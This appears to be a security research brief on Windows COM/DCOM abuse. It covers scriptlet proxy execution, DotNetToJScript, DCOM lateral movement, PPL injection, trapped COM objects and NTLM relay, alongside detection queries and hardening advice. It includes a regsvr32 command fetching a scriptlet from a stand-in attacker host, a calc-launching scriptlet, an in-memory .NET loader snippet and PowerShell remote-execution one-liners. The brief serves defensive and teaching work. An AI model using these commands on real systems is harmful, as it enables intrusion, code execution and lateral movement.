Files
2026-07-18 21:50:11 +05:30

27 KiB

RESEARCH BRIEF: Remaining COM Attack Vectors — Execution/Defense-Evasion, PPL Injection, Relay Chains & Detection Engineering

1. COM Scriptlets & Squiblydoo (T1218.010)

  • Origin: Casey Smith (@subTee), April 2016 — regsvr32.exe /i: passes a string to DllInstall; signed scrobj.dll fetches/parses a COM scriptlet (.sct) from a URL. PoC gist Backdoor.sct (gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302).
  • Canonical: regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll/u+/i: form needs no registry writes and no admin.
  • Scriptlet skeleton:
<?XML version="1.0"?>
<scriptlet>
  <registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
    <script language="JScript"><![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]></script>
  </registration>
</scriptlet>
  • Why AWL bypass: every binary (regsvr32 → scrobj.dll → jscript/vbscript.dll) is Microsoft-signed; regsvr32 is proxy-aware (WinHTTP). MITRE T1218.010.
  • ITW: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit web_delivery.
  • /i: also accepts local paths/UNC; .sct = Windows Script Component format shared with .wsc and the script: moniker (TypeLib hijack).

1.2 DotNetToJScript (Forshaw, 2017)

  1. Builds bound delegate Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[])).
  2. Wraps in COM-invocable HeaderHandler delegate (contra-variance abuse) → DynamicInvoke.
  3. BinaryFormatter-serializes delegate graph → Base64 into JScript/VBScript/HTA template with entry_class (default TestClass).
  4. Runtime: script instantiates COM-visible mscorlib classes via ActiveXObject ProgIDs (System.Runtime.Serialization.Formatters.Binary.BinaryFormatter, System.Collections.ArrayList, System.Text.ASCIIEncoding, System.Security.Cryptography.FromBase64Transform):
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var d   = fmt.Deserialize_2(stm);
var o   = d.DynamicInvoke(al.ToArray())   // -> Assembly.Load(byte[])
             .CreateInstance(entry_class); // constructor runs
  1. No managed assembly on disk — engine of SharpShooter, CACTUSTORCH, GreatSCT, SuperSharpShooter, Outlook-CreateObject DCOM delivery (enigma0x3 Nov 2017).

1.3 AMSI changes

  • AMSI integrated into JScript/VBScript engines, WSH, PowerShell, VBA (2018), WMI, .NET 4.8+ (scans Assembly.Load(byte[]), Apr 2019), UAC (Microsoft-Antimalware-UacScan ETW 1201). scrobj.dll hosts WSH engines → scriptlet content scanned.
  • Jun 2018: AMSI signatures for default DotNetToJScript/SharpShooter output. Forshaw counter: "Disabling AMSI in JScript with One Simple Trick" — copy wscript.exe as amsi.dll; LoadLibraryEx("amsi.dll") returns loaded EXE image, AmsiInitialize fails, WSH runs unscanned.
  • DotNetToJScript defaults to CLR v2 (no AMSI); v4 scanned. Residual: ETW Microsoft-Windows-DotNETRuntime {e13c0d23-ccbc-4e12-931b-d9cc2eee27e4} assembly-load/JIT in wscript/dllhost.

2. COM for Local Code Execution (LOLBIN-style)

No "LOLCOM" project exists. Canon: enigma0x3 2017, bohops 2018, Tsukerman/Cybereason 2018-19, rvrsh3ll Invoke-DCOM.ps1, FireEye "Hunting COM Objects" (Jun 2019, 2 parts), Axel Boesenach hackdefense enumeration paper, rasta-mouse CsDCOM/CheeseDCOM.

Object CLSID/ProgID Method Host Notes
MMC20.Application {49B2791A-B1AE-4C90-9B8E-E860BA07F889} Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7") mmc.exe -Embedding local+remote; admin required (AppID launch perms)
ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39} Document.Application.ShellExecute(...); Navigate/Navigate2 existing explorer.exe window (medium IL) usable from medium IL locally — code runs inside explorer.exe
ShellBrowserWindow {C08AFD90-F2A1-11D1-8455-00A0C91F3880} same new explorer.exe if no window local medium-IL exec; remote needs admin
ExcelDDE ProgID Excel.Application ({00024500-0000-0000-C000-000000000046}) DDEInitiate("cmd","/c ...") EXCEL.EXE no malicious doc needed; needs Office
Excel variants same RegisterXLL, ExecuteExcel4Macro (XLM) EXCEL.EXE enigma0x3 Sep 2017
InternetExplorer.Application {0002DF01-0000-0000-C000-000000000046} Navigate2 to UNC/local exe iexplore.exe IE prompts limit reliability
htafile (LethalHTA) ProgID htafile remote instantiation → mshta fetches .hta mshta.exe codewhitesec Jul 2018
Outlook.Application ProgID CreateObject("Wscript.Shell") + DotNetToJScript OUTLOOK.EXE enigma0x3 Nov 2017
Utility objects ProgIDs WScript.Shell.Run, Shell.Application.ShellExecute, Schedule.Service, WbemScripting.SWbemLocator various standard local exec primitives
Visio.Application ProgID macro-less exec paths VISIO.EXE Tsukerman/CheeseDCOM lists

PowerShell idiom (detect this):

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")

Tooling: Invoke-DCOM.ps1 (rvrsh3ll), impacket dcomexec.py (-object MMC20|ShellWindows|ShellBrowserWindow, semi-interactive, output via temp file over ADMIN$), CrackMapExec dcom, CsDCOM/CheeseDCOM. MITRE T1559.001 (local) + T1021.003 (remote).

3. PPL Injection via COM (Forshaw, P0 Oct/Nov 2018)

First public no-admin userland code exec inside PPL up to PPL-WindowsTCB and full PP-WindowsTCB. Established type-library-substitution → type-confusion primitive later used by PPLdump/PPLmedic (itm4n) and IRundown::DoCallback (MDSec 2022).

Part 1 — PPL via COM type confusion + KnownDlls

  1. Target: .NET Runtime Optimization Service (mscorsvw.exe, NGEN) — runs PPL-CodeGen (cached signing levels for UMCI).
  2. COM exposure: ngen install x.dll → mscorsvw marshals private .NET-implemented class factory (CorSvcBindToWorkerClassFactory) over named pipe via CoMarshalInterface — COM server inside PPL.
  3. Bug class: COM proxies/stubs generated at runtime from a Type Library; typelib registration in HKLM but HKCU\Software\Classes\TypeLib shadows it. Modified typelib changes signature ([out] long*[in] long on ICorSvcPooledWorker::CanReuseProcess) → server stub unmarshals attacker integer as pointer → type confusion → controlled write of 0 to arbitrary address.
  4. Data-only weaponization: target loader global LdrpKnownDllDirectoryHandle; pre-fill child PPL handle table with inheritable handles to fake KnownDlls object directory; 32-bit write zeroes top 16 bits of real handle → aliases to fake → induced DLL load maps unsigned code into PPL, DllMain runs. No thread injection, no ROP, no CFG bypass.
  5. To PPL-WinTcb: CiSetFileCache cached-signing backdoor → cache-sign arbitrary DLL as Microsoft/WinTcb.

Part 2 — full PP-WindowsTCB via IRundown::DoCallback

  1. COM hijack CLSID {07FC2B94-5285-417E-8AC3-C2CE5240B0FA} with ThreadingModel="Free" (HKCU) inside PP target; inherit fake KnownDlls handles.
  2. Start WerFaultSecure.exe at PP-WindowsTCB dumping an AppContainer process; use vulnerable Win8.1 WerFaultSecure (unencrypted dumps).
  3. Parse dump for per-process COM security secret, context pointer, IPID of undocumented IRundown (present in every COM-remoting process).
  4. IRundown::DoCallback(fn, param) executes arbitrary function with one pointer arg inside PP: overwrite LdrpKnownDllDirectoryHandle, then LoadLibrary fake KnownDll. Works Win10 through 1809. Corollary: arbitrary memory read in COM-remoting process → arbitrary execute (no thread creation, no allocation APIs).

Microsoft response

  • PPL is not a security boundary per MS servicing criteria → no CVEs/bounties for PPL-only.
  • Fixed anyway: JScript/scriptlet PPL injection (P0 Issue 1336) fixed Win10 1803 — CI.DLL (CipMitigatePPLBypassThroughInterpreters) blocks scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, vbscript.dll in protected processes. CVE-2017-11830 — CiSetFileCache TOCTOU SFB (P0 Issue 1332).
  • July 2022: Microsoft stopped initializing \KnownDlls in PPL (killed PPLdump variant) — but signature-not-verified-on-section-map remains; PPLmedic (2023) re-proved.
  • Follow-ons: itm4n PPLdump/PPLmedic/PPLKiller; gabriellandau PPLFault; MDSec IRundown::DoCallback injection (Apr 2022); ANGRYORCHARD.

4. Trapped COM Objects (Forshaw, Jan 2025) — defense-evasion angle

Source: "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com/2025/01/..., commonly reported Feb 2025).

  1. Client activates OOP COM server → marshal-by-reference object trapped server-side; calls execute server-side.
  2. Via IDispatch::GetTypeInfoITypeLib, enumerate server-referenced typelibs — incl. stdole ({00020430-0000-0000-C000-000000000046}, stdole2.tlb). Request new StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) — resolved in server process context: another trapped object.
  3. Redirect StdFont to .NET: hijack StdFont COM registration (HKCU locally; remote registry remotely) → activation yields .NET System.Object CCW. Set AllowDCOMReflection=1 + OnlyUseLatestCLR=1 under Software\Microsoft\.NETFramework → .NET reflection usable over DCOM.
  4. Reflection chain: GetType()AssemblyAssembly.Load(byte[]) → arbitrary managed code inside server-side DCOM process — fileless; mscoree/clr/clrjit are Microsoft-signed → PPL image-signature compatible.
  5. Demo target: WaaSRemediationAgent COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — PPL (PsProtectedSignerWindows-Light) svchost as SYSTEM → code exec inside PPL/SYSTEM.
  6. Microsoft: not a security-boundary violation (admin→PPL not defended) → detection problem, no CVE (as of writing). IBM X-Force (Tran & Bayne, Mar 2025) "Fileless lateral movement with trapped COM objects" + PoC ForsHops (github.com/xforcered/ForsHops): 1) remote-set AllowDCOMReflection/OnlyUseLatestCLR 2) remote hijack StdFont → System.Object 3) create WaaSRemediationAgent over DCOM 4) resolve trapped StdFont→System.Object in remote WaaSMedicSvc PPL 5) Assembly.Load → SYSTEM inside protected signed process, zero files. Only disk artifacts: registry values. Outflank (Kyle Avery, Jul 2025): WaaSMedicSvc/PPL approach fails on updated Win11 (CLR can't load into that PPL) — target-specific, not class-specific; LLM-assisted registry enumeration found alternative trapped-COM classes. T3nb3w ComDotNetExploit = local PPL-injection PoC variant.

5. DCOM + NTLM Relay

5.1 COM as coercion trigger

  • Forshaw local NTLM reflection (P0 Apr 2015, fixed): marshaled OBJREF_STANDARD with attacker-chosen RPC binding strings → DCOM client binds to fake OXID resolver, performs NTLM auth → reflected to local DCOM activation → SYSTEM token. Birthed potato family (T1134.001).
  • RemotePotato0 (Cocomazzi & Pierini, 2021, github.com/antonioCoco/RemotePotato0): marshal IStorage (CoGetInstanceFromIStorage), hand OBJREF to remote DCOM activator for CLSID running as Interactive User (default PoC {5167B42F-C111-47A1-ACC4-8EABE61B0B54}; BrowserBroker {0002DF02-0000-0000-C000-000000000046}) → victim resolves OXID against attacker resolver (135 redirect) → authenticated ResolveOxid2/IRemUnknown2 calls to attacker → relay RPC/TCP → HTTP wrapper → ntlmrelayx → LDAP/AD CS (ESC8)/SMB → DA. Requires interactively logged-on privileged user.
  • RemoteMonologue (IBM X-Force, Andrew Oliveau, Apr 2025, github.com/3lp4tr0n/RemoteMonologue): with local admin, SeTakeOwnershipPrivilege on HKCR\AppID\{AppID} → set RunAs = "Interactive User" → remotely instantiate → invoke method/property dereferencing attacker UNC → logged-on user's NTLM (or machine$) coerced. Objects: ServerDataCollectorSet {03837546-098B-11D8-9414-505054503030} (DataManager.Extract UNC param), FileSystemImage {2C941FC5-975B-59BE-A960-9A2A262853A5} (WorkingDirectory property), UpdateSession {4CB43D7F-7EEE-4906-8698-60DA1C38F2FE} (AddScanPackageService), MSTSWebProxy. Extras: NetNTLMv1 downgrade (LmCompatibilityLevel ≤ 2), WebClient abuse (\\host@80\file).

5.2 OXID resolver abuse

IOXIDResolver/IObjectExporter (UUID {99FCFEC4-5260-101B-BBCB-00AA0021347A}, port 135/epmap): unauthenticated ServerAlive2 leaks network interfaces (impacket oxidresolver); OXID resolution is what every potato/coercion abuses.

5.3 PetitPotam/PrinterBug → DCOM?

PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)) coerce machine-account auth over SMB/named-pipe RPC — NOT DCOM. Coerced auth relays to LDAP(S)/AD CS, not DCOM activation, because DCOM as relay target closed: CVE-2021-26414 "DCOM Hardening" (KB5004442) requires RPC_C_AUTHN_LEVEL_PKT_INTEGRITY+ for activation (opt-in Jun 2021 → default Jun 2022 → mandatory Mar 2023; HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel). New DistributedCOM events: 10036 (server-side refusal below PKT_INTEGRITY, logs user/SID/client IP), 10037/10038 (client-side too-low auth level). "You relay FROM DCOM, not TO DCOM."

5.4 CVE-2017-0100

MS17-012 (Mar 2017) "Windows HelpPane EoP": DCOM object in Helppane.exe configured RunAs=Interactive User failed to validate clients → LPE (CVSS 7.8, Win7-10/2008R2-2016). RunAs=Interactive User DCOM objects = decade-long bug class; RemoteMonologue is the 2025 remote re-weaponization.

5.5 PtH with DCOM: YES

dcomexec.py -hashes LMHASH:NTHASH user@target (MMC20/ShellWindows/ShellBrowserWindow); CrackMapExec -dcom. Needs NTLM allowed, remote Launch/Activation rights (default Administrators), LocalAccountTokenFilterPolicy=1 for local non-RID500 accounts; KB5004442 compatible (impacket speaks PKT_INTEGRITY). Maps T1550.002 + T1021.003.

6. AMSI/ETW and COM

  • Scriptlet content: YES (AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block). Network fetch not scanned; executed script is.
  • .NET payload: conditional (CLR 4.8+ scans in-memory Assembly.Load; CLR 2.0 no hook). PowerShell DCOM one-liners fully scanned (4104).
  • Type-confusion/trapped-COM native stages: NO direct AMSI — registry+RPC+reflection; use ETW/registry/network.
  • Threat-Intelligence ETW {f4e1897c-bb5d-5668-f1d8-040f4d8dd344} (PPL-required consumers) sees injection-style memory behavior.

ETW providers (verified GUIDs):

Provider GUID Use
Microsoft-Windows-RPC {6AD52B32-D609-4BE9-AE07-CE8DAE937E39} (Debug) EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry")
Microsoft-Windows-RPC-Events {F4AED7C7-A898-4627-B053-44A7CAA12FCD} RPC operational
Microsoft-Windows-RPCSS {D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C} RPCSS/DcomLaunch host
Microsoft-Windows-COMRuntime {BF406804-6AFA-46E7-8A48-6C357E1D6D61} COM activation/runtime (verbose)
Microsoft-Windows-COM-Perf {B8D6861B-D20F-4EEC-BBAE-87E0DD80602B} perf
Microsoft-Windows-COM-RundownInstrumentation {2957313D-FCAA-5D4A-2F69-32CE5F0AC44E} rundown
Microsoft-Windows-DotNETRuntime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} assembly loads/JIT in COM hosts
Microsoft-Windows-Threat-Intelligence {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} injection behaviors

DCOM interface UUIDs to key on: IRemoteSCMActivator {4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}; ISystemActivator {000001A0-0000-0000-C000-000000000046}; IObjectExporter/IOXIDResolver {99FCFEC4-5260-101B-BBCB-00AA0021347A}; IRemUnknown {00000131-0000-0000-C000-000000000046}; IRemUnknown2 {00000143-0000-0000-C000-000000000046}; IUnknown {00000000-0000-0000-C000-000000000046}. Chain context: MS-EFSR {C681D488-D850-11D0-8C52-00C04FD90F7E}, MS-RPRN {AE33069B-A2A8-46EE-A235-DDFD339BE281}/{12345678-1234-ABCD-EF00-0123456789AB}.

EDR view of DCOM activation: 1) inbound 135 → epmap → dynamic port; RemoteCreateInstance inside svchost -k DcomLaunch (raw RPC ETW lacks remote IP — Zero Networks gap) 2) Security 4624 Type 3 NTLM logon; 4672 if privileged 3) DcomLaunch spawns server: mmc.exe -Embedding, explorer.exe, dllhost.exe /Processid:{CLSID}, EXCEL.EXE /automation -Embedding — lineage anchor 4) AppID/CLSID registry reads 5) outbound callbacks. RPC Firewall (Zero Networks) closes gap: per-call UUID/opnum/src-IP/principal in RPCFW log EID 3; Sigma "Remote DCOM/WMI Lateral Movement" (68050b10-e477-4377-a99b-3721b422d6ef). Native RPC filter event 5712 unreliable.

7. Detection master list

Sysmon:

  • EID 1: regsvr32 /i: + URL + scrobj.dll; mmc.exe -Embedding child of svchost (Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd); anomalous dllhost.exe /Processid:; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with .sct; PowerShell with GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate.
  • EID 3: regsvr32 outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound.
  • EID 7: scrobj.dll in regsvr32; jscript/vbscript/scrrun in unusual hosts; clr.dll/clrjit.dll/mscoree.dll in dllhost/svchost/mmc/explorer (DotNetToJScript & trapped COM).
  • EID 8: COM injection mostly does NOT trip CreateRemoteThread — teach as evasion gap.
  • EID 11: .sct drops.
  • EID 12/13/14: writes under HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID) and ...\TypeLib\{...}; HKLM\SOFTWARE\Classes\AppID\{...}\RunAs (RemoteMonologue); HKLM\SOFTWARE\Microsoft\Ole\AppCompat\* (hardening tamper); (HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\ values AllowDCOMReflection, OnlyUseLatestCLR (trapped COM — high fidelity); HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel (NTLMv1 downgrade).
  • EID 17/18: named pipes (mscorsvw marshaling).
  • EID 22: regsvr32 DNS for scriptlet hosts. Windows events: 4688 (mirror Sysmon 1); 4624 Type 3; 4625; 4648; 4672; 4657/4663 with SACLs on Classes\AppID\CLSID; 5156/5158 WFP (noisy); 5712 unreliable; DistributedCOM 10016 (permission denied — probing), 10036/10037/10038 (KB5004442 refusals), 10006/10009/10028; PowerShell 4104 (ExecuteShellCommand/GetTypeFromCLSID — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block"); AppLocker 8004. Named content: Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml; proc_creation_win_regsvr32_squiblydoo.yml; rpc_firewall_remote_dcom_or_wmi.yml; registry_set_persistence_com_hijacking_builtin.yml; CAR-2019-04-003 (Squiblydoo). Splunk: "Remote Process Instantiation via DCOM and PowerShell" (d4f42098-4680-11ec-ad07-3e22fbd008af), "...Script Block" (fa1c3040-4680-11ec-a618-3e22fbd008af), "Mmc LOLBAS Execution Process Spawn" (f6601940-4c74-11ec-b9b7-3e22fbd008af), "Possible Lateral Movement PowerShell Spawn" (22282a2d-dc19-4b88-ac61-6c86ff92904f). Elastic: prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM". Atomic T1021.003 tests.

KQL hunting queries:

// DCOM lateral movement
DeviceProcessEvents
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "DcomLaunch"
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")

// Squiblydoo
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")

// COM hijack registry
DeviceRegistryEvents
| where RegistryKey has @"Software\Classes\CLSID\"
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
| where ActionType has "SetValue" or ActionType has "Create"

// Trapped COM artifacts
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1

// CLR in COM hosts
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")

// RunAs tampering (RemoteMonologue)
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"

UAC elevated-COM hunting: medium-IL parent → high-IL child without consent.exe; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to HKCU\Software\Classes\ms-settings\Shell\Open\command, mscfile\shell\open\command; CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} instantiation; "Elevation:Administrator!new:" strings.

Baseline/hardening: inventory legit DCOM (SCCM, backup, OPC, AV mgmt) → deny rest via dcomcnfg AppID Launch ACLs (MMC20 + Office CLSIDs first); segment 135+dynamic to mgmt hosts, block workstation↔workstation 135; enforce KB5004442 (=1; alert on =0), LDAP signing+channel binding, SMB signing, AD CS EPA; AppLocker/WDAC block scrobj.dll script execution, disable WebClient, Office ASR; NTLMv1 off (LmCompatibilityLevel=5); LSA Protection; RPC Firewall on servers/DCs; collect RPC ETW 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs.

8. MITRE mapping (verified)

ID Name COM content
T1559.001 IPC: COM and DCOM local execution objects, scriptlets, DotNetToJScript, trapped COM
T1021.003 Remote Services: DCOM MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue
T1546.015 Event Triggered Execution: COM Hijacking CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + script: moniker variant (explicit in ATT&CK)
T1548.002 Abuse Elevation Control: Bypass UAC elevated/auto-elevated COM (CMSTPLUA, elevation moniker)
T1218.010 System Binary Proxy Execution: Regsvr32 Squiblydoo
T1055 Process Injection PPL injection, IRundown::DoCallback, trapped-COM in-PPL
T1620 Reflective Code Loading Assembly.Load(byte[]) via COM
T1112 Modify Registry CLSID/TypeLib/AppID/RunAs/.NETFramework writes
T1550.002 Pass the Hash dcomexec -hashes
T1134.001 Token Impersonation/Theft potato lineage
T1557.001 LLMNR/NBT-NS Poisoning and SMB Relay relay chains with DCOM trigger
T1003.001 LSASS Memory PPL bypass end-goal
T1059.005/.007 VB/JavaScript scriptlet bodies
T1027 Obfuscation Base64 .NET blobs
T1047 WMI WMI runs over DCOM (SWbemLocator)
T1068 Exploitation for Privilege Escalation CVE-2017-0100, PPL chain components

Diagrams to draw

  1. Squiblydoo+DotNetToJScript chain with AMSI scan points and "all signed / no registry / no file" annotations.
  2. Type-confusion PPL injection: HKCU typelib shadow → mscorsvw PPL stub integer-as-pointer → LdrpKnownDllDirectoryHandle alias → unsigned DLL in PPL; escalation box CiSetFileCache → WinTcb; Part 2 IRundown::DoCallback; fixes timeline (1803 CI blocklist, CVE-2017-11830, Jul 2022 KnownDlls removal, "PPL ≠ boundary").
  3. NTLM relay chain with COM as trigger (IStorage OBJREF → OXID → auth → RPC→HTTP → ntlmrelayx → LDAP/ADCS/SMB); annotate KB5004442 + events 10036-38.
  4. Trapped COM chain local + IBM remote variant.
  5. Detection data-source map with blind spots (no remote IP in raw RPC ETW; no CreateRemoteThread; CLR-v2 AMSI gap).

REFERENCES (title — URL)

Primary: subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html (+ gist 24c7d8e1ff0f5602092f58cbb3f7d302) · github.com/tyranid/DotNetToJScript · tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html · mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ · googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html · googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html · bugs.chromium.org/p/project-zero/issues/detail?id=1332 · itm4n.github.io/bypassing-ppl-in-userland-again/ · github.com/itm4n/PPLmedic · mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ · googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html · ibm.com/think/news/fileless-lateral-movement-trapped-com-objects · github.com/xforcered/ForsHops · outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ · ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions · github.com/3lp4tr0n/RemoteMonologue · github.com/antonioCoco/RemotePotato0 · nvd.nist.gov/vuln/detail/CVE-2017-0100 · support.microsoft.com KB5004442 (CVE-2021-26414) · github.com/fortra/impacket LOLCOM corpus: enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · cybereason.com/blog/dcom-lateral-movement-techniques · cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · github.com/rvrsh3ll/Misc-Powershell-Scripts (Invoke-DCOM.ps1) · codewhitesec.blogspot.com/2018/07/lethalhta.html · fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html (+part-two) · hackdefense.com Axel Boesenach DCOM enumeration paper · oddvar.moe AppLocker case study AMSI/ETW/RPC: redcanary.com/blog/amsi/ · posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 · zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall · github.com/zeronetworks/rpcfirewall · ftrsec.github.io/Blog/rpc-detection/ · ETW GUID gist guitarrapc/35a94b908bad677a7310 Detection: detection.fyi (MMC20, RPC firewall rules) · github.com/SigmaHQ/sigma registry_set_persistence_com_hijacking_builtin.yml · intezer.com Squiblydoo blog · car.mitre.org/analytics/CAR-2019-04-003/ · research.splunk.com (DCOM analytics) · elastic.co/blog/how-hunt-detecting-persistence-evasion-com · blog.gdatasoftware.com/2014/10/23941 · Atomic T1021.003 · SwiftOnSecurity/sysmon-config · olafhartong/sysmon-modular · detect.fyi/how-to-detect-dcom-lateral-movement MITRE: T1559.001, T1021.003, T1546.015, T1548.002, T1218.010, T1055, T1620, T1550.002, T1134.001, T1557.001 (attack.mitre.org/techniques/...) Caveats: no LOLCOM project; trapped-COM blog is Jan 2025 by URL ("early 2025" in deck); no CVE for trapped-COM or 2018 PPL type-confusion (PPL not a boundary — inference); WaaSRemediationAgent CLSID not public — refer by class name; raw RPC ETW lacks remote IP (use RPC Firewall).